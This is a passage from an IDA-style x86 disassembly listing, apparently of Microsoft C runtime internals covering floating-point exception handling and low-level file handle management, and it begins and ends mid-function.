0FFFFFFEFh loc_424F46: ; CODE XREF: sub_424D24+21Dj test [eax+8], bl jz short loc_424F4E and dword ptr [esi], 0FFFFFFDFh loc_424F4E: ; CODE XREF: sub_424D24+225j mov ecx, [eax] and ecx, 3 sub ecx, 0 mov edx, 0FFFFF3FFh jz short loc_424F8E dec ecx jz short loc_424F7C dec ecx jz short loc_424F6C dec ecx jnz short loc_424F90 or byte ptr [esi+1], 0Ch jmp short loc_424F90 ; --------------------------------------------------------------------------- loc_424F6C: ; CODE XREF: sub_424D24+23Dj mov ecx, [esi] and ecx, 0FFFFFBFFh or ecx, 800h jmp short loc_424F8A ; --------------------------------------------------------------------------- loc_424F7C: ; CODE XREF: sub_424D24+23Aj mov ecx, [esi] and ecx, 0FFFFF7FFh or ecx, 400h loc_424F8A: ; CODE XREF: sub_424D24+256j mov [esi], ecx jmp short loc_424F90 ; --------------------------------------------------------------------------- loc_424F8E: ; CODE XREF: sub_424D24+237j and [esi], edx loc_424F90: ; CODE XREF: sub_424D24+240j ; sub_424D24+246j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_424FB3 dec ecx jz short loc_424FA7 dec ecx jnz short loc_424FBF and [esi], edx jmp short loc_424FBF ; --------------------------------------------------------------------------- loc_424FA7: ; CODE XREF: sub_424D24+27Aj mov ecx, [esi] and ecx, edx or ecx, 200h jmp short loc_424FBD ; --------------------------------------------------------------------------- loc_424FB3: ; CODE XREF: sub_424D24+277j mov ecx, [esi] and ecx, edx or ecx, 300h loc_424FBD: ; CODE XREF: sub_424D24+28Dj mov [esi], ecx loc_424FBF: ; CODE XREF: sub_424D24+27Dj ; sub_424D24+281j fld qword ptr [eax+50h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_424D24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424FC9 proc near ; CODE XREF: sub_425333+22p var_28 = qword ptr -28h var_10 = qword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_0] push ebx push esi xor ebx, ebx mov esi, eax and esi, 1Fh inc ebx test al, 8 mov [ebp+var_4], esi jz short loc_424FF7 test byte ptr [ebp+arg_8], bl jz short loc_424FF7 push ebx call sub_425578 pop ecx and esi, 0FFFFFFF7h jmp loc_4251CB ; --------------------------------------------------------------------------- loc_424FF7: ; CODE XREF: sub_424FC9+18j ; sub_424FC9+1Dj test al, 4 jz short loc_425011 test byte ptr [ebp+arg_8], 4 jz short loc_425011 push 4 call sub_425578 pop ecx and esi, 0FFFFFFFBh jmp loc_4251CB ; --------------------------------------------------------------------------- loc_425011: ; CODE XREF: sub_424FC9+30j ; sub_424FC9+36j test al, bl jz loc_4250F1 test byte ptr [ebp+arg_8], 8 jz loc_4250F1 push 8 call sub_425578 mov eax, [ebp+arg_8] pop ecx mov ecx, 0C00h and eax, ecx jz loc_4250C7 cmp eax, 400h jz short loc_42509D cmp eax, 800h jz short loc_425073 cmp eax, ecx jnz loc_4250E9 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_42A490 fld ds:dbl_433CA8 fnstsw ax test ah, 41h jz short loc_42506B fchs loc_42506B: ; CODE XREF: sub_424FC9+9Ej fstp [ebp+var_10] fld [ebp+var_10] jmp short loc_4250E7 ; --------------------------------------------------------------------------- loc_425073: ; CODE XREF: sub_424FC9+7Ej mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_42A490 fnstsw ax test ah, 41h jnz short loc_42508D fld ds:dbl_433C98 jmp short loc_425095 ; --------------------------------------------------------------------------- loc_42508D: ; CODE XREF: sub_424FC9+BAj fld ds:dbl_433CA8 fchs loc_425095: ; CODE XREF: sub_424FC9+C2j fstp [ebp+var_10] fld [ebp+var_10] jmp short loc_4250E7 ; --------------------------------------------------------------------------- loc_42509D: ; CODE XREF: sub_424FC9+77j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_42A490 fnstsw ax test ah, 41h jnz short loc_4250B7 fld ds:dbl_433CA8 jmp short loc_4250BF ; --------------------------------------------------------------------------- loc_4250B7: ; CODE XREF: sub_424FC9+E4j fld ds:dbl_433C98 fchs loc_4250BF: ; CODE XREF: sub_424FC9+ECj fstp [ebp+var_10] fld [ebp+var_10] jmp short loc_4250E7 ; --------------------------------------------------------------------------- loc_4250C7: ; CODE XREF: sub_424FC9+6Cj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_42A490 fld ds:dbl_433C98 fnstsw ax test ah, 41h jz short loc_4250E1 fchs loc_4250E1: ; CODE XREF: sub_424FC9+114j fstp [ebp+var_10] fld [ebp+var_10] loc_4250E7: ; CODE XREF: sub_424FC9+A8j ; sub_424FC9+D2j ... fstp qword ptr [ecx] loc_4250E9: ; CODE XREF: sub_424FC9+82j and esi, 0FFFFFFFEh jmp loc_4251CB ; --------------------------------------------------------------------------- loc_4250F1: ; CODE XREF: sub_424FC9+4Aj ; sub_424FC9+54j test al, 2 jz loc_4251CB test byte ptr [ebp+arg_8], 10h jz loc_4251CB xor esi, esi test al, 10h jz short loc_42510B mov esi, ebx loc_42510B: ; CODE XREF: sub_424FC9+13Ej fld ds:dbl_42A490 push edi mov edi, [ebp+arg_4] fld qword ptr [edi] fucompp fnstsw ax test ah, 44h jnp loc_4251B5 fld qword ptr [edi] lea eax, [ebp+var_8] push eax ; int push ecx push ecx ; double fstp [esp+28h+var_28] call sub_425481 mov ecx, [ebp+var_8] fstp [ebp+var_10] fld [ebp+var_10] add ecx, 0FFFFFA00h add esp, 0Ch cmp ecx, 0FFFFFBCEh jge short loc_425158 fmul ds:dbl_42A490 mov esi, ebx jmp short loc_4251AB ; --------------------------------------------------------------------------- loc_425158: ; CODE XREF: sub_424FC9+183j fcomp ds:dbl_42A490 fnstsw ax test ah, 5 jp short loc_425169 mov edx, ebx jmp short loc_42516B ; --------------------------------------------------------------------------- loc_425169: ; CODE XREF: sub_424FC9+19Aj xor edx, edx loc_42516B: ; CODE XREF: sub_424FC9+19Ej xor eax, eax mov al, byte ptr [ebp+var_10+6] and eax, 0Fh or eax, 10h mov word ptr [ebp+var_10+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_4251A2 sub eax, ecx loc_425185: ; CODE XREF: sub_424FC9+1D7j test byte ptr [ebp+var_10], bl jz short loc_425190 test esi, esi jnz short loc_425190 mov esi, ebx loc_425190: ; CODE XREF: sub_424FC9+1BFj ; sub_424FC9+1C3j shr dword ptr [ebp+var_10], 1 test byte ptr [ebp+var_10+4], bl jz short loc_42519C or byte ptr [ebp+var_10+3], 80h loc_42519C: ; CODE XREF: sub_424FC9+1CDj shr dword ptr [ebp+var_10+4], 1 dec eax jnz short loc_425185 loc_4251A2: ; CODE XREF: sub_424FC9+1B8j test edx, edx jz short loc_4251AE fld [ebp+var_10] fchs loc_4251AB: ; CODE XREF: sub_424FC9+18Dj fstp [ebp+var_10] loc_4251AE: ; CODE XREF: sub_424FC9+1DBj fld [ebp+var_10] fstp qword ptr [edi] jmp short loc_4251B7 ; --------------------------------------------------------------------------- loc_4251B5: ; CODE XREF: sub_424FC9+155j mov esi, ebx loc_4251B7: ; CODE XREF: sub_424FC9+1EAj test esi, esi pop edi jz short loc_4251C4 push 10h call sub_425578 pop ecx loc_4251C4: ; CODE XREF: sub_424FC9+1F1j and [ebp+var_4], 0FFFFFFFDh mov esi, [ebp+var_4] loc_4251CB: ; CODE XREF: sub_424FC9+29j ; sub_424FC9+43j ... test byte ptr [ebp+arg_0], 10h jz short loc_4251E2 test byte ptr [ebp+arg_8], 20h jz short loc_4251E2 push 20h call sub_425578 pop ecx and esi, 0FFFFFFEFh loc_4251E2: ; CODE XREF: sub_424FC9+206j ; sub_424FC9+20Cj xor eax, eax test esi, esi pop esi setz al pop ebx leave retn sub_424FC9 endp ; =============== S U B R O U T I N E ======================================= sub_4251ED proc near ; CODE XREF: sub_425242+6Cp ; sub_425242+91p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_425209 jle short locret_425214 cmp eax, 3 jg short locret_425214 call sub_4200B5 mov dword ptr [eax], 22h retn ; --------------------------------------------------------------------------- loc_425209: ; CODE XREF: sub_4251ED+7j call sub_4200B5 mov dword ptr [eax], 21h locret_425214: ; CODE XREF: sub_4251ED+9j ; sub_4251ED+Ej retn sub_4251ED endp ; =============== S U B R O U T I N E ======================================= sub_425215 proc near ; CODE XREF: sub_425333+55p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_425221 push 5 jmp short loc_425237 ; --------------------------------------------------------------------------- loc_425221: ; CODE XREF: sub_425215+6j test al, 8 jz short loc_425229 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_425229: ; CODE XREF: sub_425215+Ej test al, 4 jz short loc_425231 push 2 jmp short loc_425237 ; --------------------------------------------------------------------------- loc_425231: ; CODE XREF: sub_425215+16j test al, 1 jz short loc_425239 push 3 loc_425237: ; CODE XREF: sub_425215+Aj ; sub_425215+1Aj pop eax retn ; --------------------------------------------------------------------------- loc_425239: ; CODE XREF: sub_425215+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_425215 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_425242(int,int,int,int,int,int,double,int) sub_425242 proc near ; CODE XREF: sub_4252E0+2Ap ; sub_425333+87p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h xor eax, eax loc_42524A: ; CODE XREF: sub_425242+18j mov ecx, ds:dword_433BB0[eax*8] cmp ecx, [ebp+arg_4] jz short loc_4252BA inc eax cmp eax, 1Dh jl short loc_42524A xor eax, eax loc_42525E: ; CODE XREF: sub_425242+7Fj test eax, eax mov [ebp+var_1C], eax jz short loc_4252C3 mov eax, [ebp+arg_8] mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push esi mov esi, [ebp+arg_0] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] push 0FFFFh push [ebp+arg_20] mov [ebp+var_20], esi mov dword ptr [ebp+var_8+4], eax call sub_425554 lea eax, [ebp+var_20] push eax call sub_424D21 add esp, 0Ch test eax, eax jnz short loc_4252B4 push esi call sub_4251ED pop ecx loc_4252B4: ; CODE XREF: sub_425242+69j fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4252BA: ; CODE XREF: sub_425242+12j mov eax, ds:off_433BB4[eax*8] jmp short loc_42525E ; --------------------------------------------------------------------------- loc_4252C3: ; CODE XREF: sub_425242+21j push 0FFFFh push [ebp+arg_20] call sub_425554 push [ebp+arg_0] call sub_4251ED fld [ebp+arg_18] add esp, 0Ch leave retn sub_425242 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4252E0(int,double,int) sub_4252E0 proc near ; CODE XREF: .text:00420A6Ep ; .text:00420B41p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = qword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp ds:dword_433BA8, 0 jnz short loc_425314 push [ebp+arg_C] ; int fld [ebp+arg_4] sub esp, 18h fstp [esp+1Ch+var_C] fldz fstp [esp+1Ch+var_14] fld [ebp+arg_4] fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_425242 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_425314: ; CODE XREF: sub_4252E0+Aj call sub_4200B5 push 0FFFFh push [ebp+arg_C] mov dword ptr [eax], 21h call sub_425554 fld [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_4252E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_425333(int,int,double,double,int) sub_425333 proc near ; CODE XREF: .text:loc_420AE4p ; .text:loc_420BB7p var_9C = qword ptr -9Ch var_94 = qword ptr -94h var_8C = qword ptr -8Ch var_84 = dword ptr -84h var_80 = byte ptr -80h var_40 = dword ptr -40h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp and esp, 0FFFFFFF0h sub esp, 80h mov eax, ds:dword_433148 push [ebp+arg_18] mov [esp+84h+var_4], eax lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_424FC9 add esp, 0Ch test eax, eax jnz short loc_425385 and [esp+80h+var_40], 0FFFFFFFEh lea eax, [ebp+arg_10] push eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] lea eax, [ebp+arg_18] push [ebp+arg_0] push eax lea eax, [esp+94h+var_80] push eax call sub_424D24 add esp, 18h loc_425385: ; CODE XREF: sub_425333+2Cj push [ebp+arg_0] call sub_425215 add esp, 4 cmp ds:dword_433BA8, 0 jnz short loc_4253C4 test eax, eax jz short loc_4253C4 push [ebp+arg_18] ; int fld [ebp+arg_10] sub esp, 18h fstp [esp+9Ch+var_8C] fldz fstp [esp+9Ch+var_94] fld [ebp+arg_8] fstp [esp+9Ch+var_9C] push [ebp+arg_4] ; int push eax ; int call sub_425242 add esp, 24h jmp short loc_4253DE ; --------------------------------------------------------------------------- loc_4253C4: ; CODE XREF: sub_425333+64j ; sub_425333+68j push eax call sub_4251ED mov [esp+84h+var_84], 0FFFFh push [ebp+arg_18] call sub_425554 fld [ebp+arg_10] pop ecx pop ecx loc_4253DE: ; CODE XREF: sub_425333+8Fj mov ecx, [esp+80h+var_4] call sub_41E5BB mov esp, ebp pop ebp retn sub_425333 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4253EB(double) sub_4253EB proc near ; CODE XREF: .text:loc_420AA3p ; .text:loc_420B76p var_8 = qword ptr -8 arg_0 = qword ptr 4 push ecx push ecx fld [esp+8+arg_0] frndint fstp [esp+8+var_8] fld [esp+8+var_8] pop ecx pop ecx retn sub_4253EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4253FC(double,int) sub_4253FC proc near ; CODE XREF: sub_425481+82p ; sub_425481+95p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] fld [ebp+arg_0] mov ecx, dword ptr [ebp+arg_0+6] fstp [ebp+var_8] add eax, 3FEh shl eax, 4 and ecx, 0FFFF800Fh or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_4253FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425426 proc near ; CODE XREF: .text:00420A4Ep ; .text:00420B21p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_42543E cmp [ebp+arg_0], edx jnz short loc_425450 xor eax, eax inc eax pop ebp retn ; --------------------------------------------------------------------------- loc_42543E: ; CODE XREF: sub_425426+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_425450 cmp [ebp+arg_0], edx jnz short loc_425450 push 2 jmp short loc_42547A ; --------------------------------------------------------------------------- loc_425450: ; CODE XREF: sub_425426+11j ; sub_425426+1Fj ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_425463 push 3 jmp short loc_42547A ; --------------------------------------------------------------------------- loc_425463: ; CODE XREF: sub_425426+37j cmp cx, 7FF0h jnz short loc_42547D test [ebp+arg_4], 7FFFFh jnz short loc_425478 cmp [ebp+arg_0], edx jz short loc_42547D loc_425478: ; CODE XREF: sub_425426+4Bj push 4 loc_42547A: ; CODE XREF: sub_425426+28j ; sub_425426+3Bj pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_42547D: ; CODE XREF: sub_425426+42j ; sub_425426+50j xor eax, eax pop ebp retn sub_425426 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_425481(double,int) sub_425481 proc near ; CODE XREF: sub_424FC9+166p var_14 = qword ptr -14h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld ds:dbl_42A490 fld [ebp+arg_0] fucompp fnstsw ax test ah, 44h jp short loc_4254A1 fldz xor edx, edx jmp loc_425530 ; --------------------------------------------------------------------------- loc_4254A1: ; CODE XREF: sub_425481+15j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42550D test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_4254B9 cmp dword ptr [ebp+arg_0], ecx jz short loc_42550D loc_4254B9: ; CODE XREF: sub_425481+31j fld [ebp+arg_0] mov edx, 0FFFFFC03h fcomp ds:dbl_42A490 fnstsw ax test ah, 5 jp short loc_4254D3 xor eax, eax inc eax jmp short loc_4254E8 ; --------------------------------------------------------------------------- loc_4254D3: ; CODE XREF: sub_425481+4Bj xor eax, eax jmp short loc_4254E8 ; --------------------------------------------------------------------------- loc_4254D7: ; CODE XREF: sub_425481+6Bj shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_4254E4 or dword ptr [ebp+arg_0+4], 1 loc_4254E4: ; CODE XREF: sub_425481+5Dj shl dword ptr [ebp+arg_0], 1 dec edx loc_4254E8: ; CODE XREF: sub_425481+50j ; sub_425481+54j test byte ptr [ebp+arg_0+6], 10h jz short loc_4254D7 and byte ptr [ebp+arg_0+6], 0EFh cmp eax, ecx jz short loc_4254FA or byte ptr [ebp+arg_0+7], 80h loc_4254FA: ; CODE XREF: sub_425481+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+14h+var_14] call sub_4253FC add esp, 0Ch jmp short loc_425530 ; --------------------------------------------------------------------------- loc_42550D: ; CODE XREF: sub_425481+28j ; sub_425481+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+14h+var_14] call sub_4253FC mov edx, dword ptr [ebp+arg_0+6] shr edx, 4 and edx, 7FFh add esp, 0Ch sub edx, 3FEh loc_425530: ; CODE XREF: sub_425481+1Bj ; sub_425481+8Aj mov eax, [ebp+arg_8] fstp [ebp+var_8] fld [ebp+var_8] mov [eax], edx leave retn sub_425481 endp ; =============== S U B R O U T I N E ======================================= sub_42553D proc near ; CODE XREF: sub_424D24+DEp var_4 = word ptr -4 push ecx fstsw [esp+4+var_4] movsx eax, [esp+4+var_4] pop ecx retn sub_42553D endp ; =============== S U B R O U T I N E ======================================= sub_425548 proc near ; CODE XREF: sub_424D24+1E6p var_4 = word ptr -4 push ecx fnstsw [esp+4+var_4] fnclex movsx eax, [esp+4+var_4] pop ecx retn sub_425548 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425554 proc near ; CODE XREF: .text:00420A30p ; .text:00420A7Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] and ecx, [ebp+arg_4] not eax and eax, [ebp+var_4] or eax, ecx mov [ebp+arg_4], eax fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_425554 endp ; =============== S U B R O U T I N E ======================================= sub_425578 proc near ; CODE XREF: sub_424FC9+20p ; sub_424FC9+3Ap ... var_8 = qword ptr -8 arg_0 = dword ptr 4 push ecx push ecx mov cl, byte ptr [esp+8+arg_0] test cl, 1 jz short loc_42558E fld ds:tbyte_433CC0 fistp [esp+8+arg_0] wait loc_42558E: ; CODE XREF: sub_425578+9j test cl, 8 jz short loc_4255A3 fstsw ax fld ds:tbyte_433CC0 fstp [esp+8+var_8] wait fstsw ax loc_4255A3: ; CODE XREF: sub_425578+19j test cl, 10h jz short loc_4255B2 fld ds:tbyte_433CCC fstp [esp+8+var_8] wait loc_4255B2: ; CODE XREF: sub_425578+2Ej test cl, 4 jz short loc_4255C0 fldz fld1 fdivrp st(1), st fstp st wait loc_4255C0: ; CODE XREF: sub_425578+3Dj test cl, 20h jz short loc_4255CB fldpi fstp [esp+8+var_8] wait loc_4255CB: ; CODE XREF: sub_425578+4Bj pop ecx pop ecx retn sub_425578 endp ; --------------------------------------------------------------------------- loc_4255CE: ; CODE XREF: .text:00420C7Aj push 10h push offset stru_42A890 call __SEH_prolog xor ebx, ebx mov [ebp-1Ch], ebx push 1 call sub_41E983 pop ecx mov [ebp-4], ebx push 3 pop edi loc_4255ED: ; CODE XREF: .text:0042564Cj mov [ebp-20h], edi cmp edi, ds:dword_439580 jge short loc_42564E mov esi, edi shl esi, 2 mov eax, ds:dword_438560 mov eax, [esi+eax] cmp eax, ebx jz short loc_42564B test byte ptr [eax+0Ch], 83h jz short loc_42561E push eax call sub_41D4C3 pop ecx cmp eax, 0FFFFFFFFh jz short loc_42561E inc dword ptr [ebp-1Ch] loc_42561E: ; CODE XREF: .text:0042560Dj ; .text:00425619j cmp edi, 14h jl short loc_42564B mov eax, ds:dword_438560 mov eax, [esi+eax] add eax, 20h push eax call ds:dword_429098 ; RtlDeleteCriticalSection mov eax, ds:dword_438560 push dword ptr [esi+eax] call sub_41C2DD pop ecx mov eax, ds:dword_438560 mov [esi+eax], ebx loc_42564B: ; CODE XREF: .text:00425607j ; .text:00425621j inc edi jmp short loc_4255ED ; --------------------------------------------------------------------------- loc_42564E: ; CODE XREF: .text:004255F6j or dword ptr [ebp-4], 0FFFFFFFFh call sub_425660 mov eax, [ebp-1Ch] call __SEH_epilog retn ; =============== S U B R O U T I N E ======================================= sub_425660 proc near ; CODE XREF: .text:00425652p ; DATA XREF: .text:stru_42A890o push 1 call sub_41E8CE pop ecx retn sub_425660 endp ; =============== S U B R O U T I N E ======================================= sub_425669 proc near ; CODE XREF: sub_421B9F+220p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] cmp ecx, ds:dword_43844C push esi push edi jnb short loc_4256CC mov eax, ecx sar eax, 5 lea edi, ds:438460h[eax*4] mov eax, ecx and eax, 1Fh lea esi, [eax+eax*8] mov eax, [edi] shl esi, 2 cmp dword ptr [esi+eax], 0FFFFFFFFh jnz short loc_4256CC cmp ds:dword_433114, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_4256C2 sub ecx, 0 jz short loc_4256B9 dec ecx jz short loc_4256B4 dec ecx jnz short loc_4256C2 push ebx push 0FFFFFFF4h jmp short loc_4256BC ; --------------------------------------------------------------------------- loc_4256B4: ; CODE XREF: sub_425669+41j push ebx push 0FFFFFFF5h jmp short loc_4256BC ; --------------------------------------------------------------------------- loc_4256B9: ; CODE XREF: sub_425669+3Ej push ebx push 0FFFFFFF6h loc_4256BC: ; CODE XREF: sub_425669+49j ; sub_425669+4Ej call ds:dword_429028 ; SetStdHandle loc_4256C2: ; CODE XREF: sub_425669+39j ; sub_425669+44j mov eax, [edi] mov [esi+eax], ebx xor eax, eax pop ebx jmp short loc_4256E2 ; --------------------------------------------------------------------------- loc_4256CC: ; CODE XREF: sub_425669+Cj ; sub_425669+2Bj call sub_4200B5 mov dword ptr [eax], 9 call sub_4200BE and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_4256E2: ; CODE XREF: sub_425669+61j pop edi pop esi retn sub_425669 endp ; =============== S U B R O U T I N E ======================================= sub_4256E5 proc near ; CODE XREF: sub_421060+51p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp ecx, ds:dword_43844C push esi push edi jnb short loc_42574B mov eax, ecx sar eax, 5 lea edi, ds:438460h[eax*4] mov eax, ecx and eax, 1Fh lea esi, [eax+eax*8] mov eax, [edi] shl esi, 2 add eax, esi test byte ptr [eax+4], 1 jz short loc_42574B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42574B cmp ds:dword_433114, 1 jnz short loc_425741 xor eax, eax sub ecx, eax jz short loc_425738 dec ecx jz short loc_425733 dec ecx jnz short loc_425741 push eax push 0FFFFFFF4h jmp short loc_42573B ; --------------------------------------------------------------------------- loc_425733: ; CODE XREF: sub_4256E5+44j push eax push 0FFFFFFF5h jmp short loc_42573B ; --------------------------------------------------------------------------- loc_425738: ; CODE XREF: sub_4256E5+41j push eax push 0FFFFFFF6h loc_42573B: ; CODE XREF: sub_4256E5+4Cj ; sub_4256E5+51j call ds:dword_429028 ; SetStdHandle loc_425741: ; CODE XREF: sub_4256E5+3Bj ; sub_4256E5+47j mov eax, [edi] or dword ptr [esi+eax], 0FFFFFFFFh xor eax, eax jmp short loc_425761 ; --------------------------------------------------------------------------- loc_42574B: ; CODE XREF: sub_4256E5+Cj ; sub_4256E5+2Dj ... call sub_4200B5 mov dword ptr [eax], 9 call sub_4200BE and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_425761: ; CODE XREF: sub_4256E5+64j pop edi pop esi retn sub_4256E5 endp ; =============== S U B R O U T I N E ======================================= sub_425764 proc near ; CODE XREF: sub_421060+7p ; sub_421060+1Ep ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, ds:dword_43844C jnb short loc_42578E mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, ds:dword_438460[ecx*4] lea eax, [eax+eax*8] lea eax, [ecx+eax*4] test byte ptr [eax+4], 1 jz short loc_42578E mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_42578E: ; CODE XREF: sub_425764+Aj ; sub_425764+25j call sub_4200B5 mov dword ptr [eax], 9 call sub_4200BE and dword ptr [eax], 0 or eax, 0FFFFFFFFh retn sub_425764 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4257A5 proc near ; CODE XREF: sub_4210E3+38p ; sub_422197+38p ... ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 8 push offset stru_42A8A0 call __SEH_prolog mov edi, [ebp+arg_0] mov ecx, edi sar ecx, 5 mov eax, edi and eax, 1Fh lea eax, [eax+eax*8] mov ecx, ds:dword_438460[ecx*4] lea esi, [ecx+eax*4] xor ebx, ebx cmp [esi+8], ebx jnz short loc_425813 push 0Ah call sub_41E983 pop ecx mov [ebp+ms_exc.disabled], ebx cmp [esi+8], ebx jnz short loc_42580A push 0FA0h lea eax, [esi+0Ch] push eax call sub_423F72 pop ecx pop ecx test eax, eax jnz short loc_425807 push 0FFFFFFFFh lea eax, [ebp+ms_exc.prev_er] push eax call sub_41DECE pop ecx pop ecx xor eax, eax jmp short loc_425833 ; --------------------------------------------------------------------------- loc_425807: ; CODE XREF: sub_4257A5+4Fj inc dword ptr [esi+8] loc_42580A: ; CODE XREF: sub_4257A5+3Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_42583C loc_425813: ; CODE XREF: sub_4257A5+2Bj mov eax, edi sar eax, 5 and edi, 1Fh lea ecx, [edi+edi*8] mov eax, ds:dword_438460[eax*4] lea eax, [eax+ecx*4+0Ch] push eax call ds:dword_429130 ; RtlEnterCriticalSection xor eax, eax inc eax loc_425833: ; CODE XREF: sub_4257A5+60j call __SEH_epilog retn sub_4257A5 endp ; =============== S U B R O U T I N E ======================================= sub_425839 proc near ; DATA XREF: .text:stru_42A8A0o mov edi, [ebp+8] sub_425839 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42583C proc near ; CODE XREF: sub_4257A5+69p push 0Ah call sub_41E8CE pop ecx retn sub_42583C endp ; =============== S U B R O U T I N E ======================================= sub_425845 proc near ; CODE XREF: sub_42115A+1p ; sub_421ECB+9p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, ds:dword_438460[ecx*4] lea eax, [eax+eax*8] lea eax, [ecx+eax*4+0Ch] push eax call ds:dword_42912C ; RtlLeaveCriticalSection retn sub_425845 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425867 proc near ; CODE XREF: sub_421B9F:loc_421D33p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h ; FUNCTION CHUNK AT 00425949 SIZE 00000091 BYTES push 14h push offset stru_42A8B0 call __SEH_prolog or [ebp+var_1C], 0FFFFFFFFh push 0Bh call sub_41E8E3 pop ecx test eax, eax jz loc_425908 push 0Bh call sub_41E983 pop ecx xor edi, edi mov [ebp+ms_exc.disabled], edi loc_425894: ; CODE XREF: sub_425867+105j mov [ebp+var_24], edi cmp edi, 40h jge loc_4259C8 mov esi, ds:dword_438460[edi*4] test esi, esi jz loc_425971 loc_4258AF: ; CODE XREF: sub_425867+CEj mov [ebp+var_20], esi mov eax, ds:dword_438460[edi*4] add eax, 480h cmp esi, eax jnb loc_425965 test byte ptr [esi+4], 1 jnz short loc_425932 xor ebx, ebx cmp [esi+8], ebx jnz short loc_42591B push 0Ah call sub_41E983 pop ecx mov [ebp+ms_exc.disabled], 1 cmp [esi+8], ebx jnz short loc_425913 push 0FA0h lea eax, [esi+0Ch] 